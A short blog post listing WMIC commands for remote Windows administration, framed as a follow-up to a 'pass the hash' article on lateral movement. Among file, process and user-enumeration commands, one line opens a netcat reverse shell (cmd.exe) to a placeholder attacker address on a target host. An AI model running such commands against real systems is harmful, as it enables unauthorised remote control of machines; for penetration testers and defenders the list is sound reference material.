Oct 292019

In previous article, we have introduced the used of WMIC in a « pass the hash » shell.

See below a list of useful wmic commands of gathered around the internet:

rem remember impersonate is ok but delegate is not

rem become familiar with the available aliases
wmic alias list brief
rem see the available methods for any class
wmic [class] call /?

rem file stuff
wmic /node:target DATAFILE where « drive=’c:’ AND path=’\\windows\\' » GET Name,readable,size
wmic /node:target datafile « c:\\temp\\test.txt » call rename c:\temp\abc.txt
wmic /node:target datafile « c:\\temp\\test.txt » call copy c:\temp\abc.txt

rem process stuff
wmic /node:target process call create « nc attacker-ip 9000 -e cmd.exe »
wmic /node:target process call create « cmd.exe /c echo test > c:\temp\test.txt »
wmic /node:target process where name= »explorer.exe » call terminate
wmic /node:target process where processid= »1234″ call terminate
wmic /node:target process get name, processid

rem users and groups stuff
WMIC /node:target USERACCOUNT LIST brief
wmic /node:target path Win32_GroupUser

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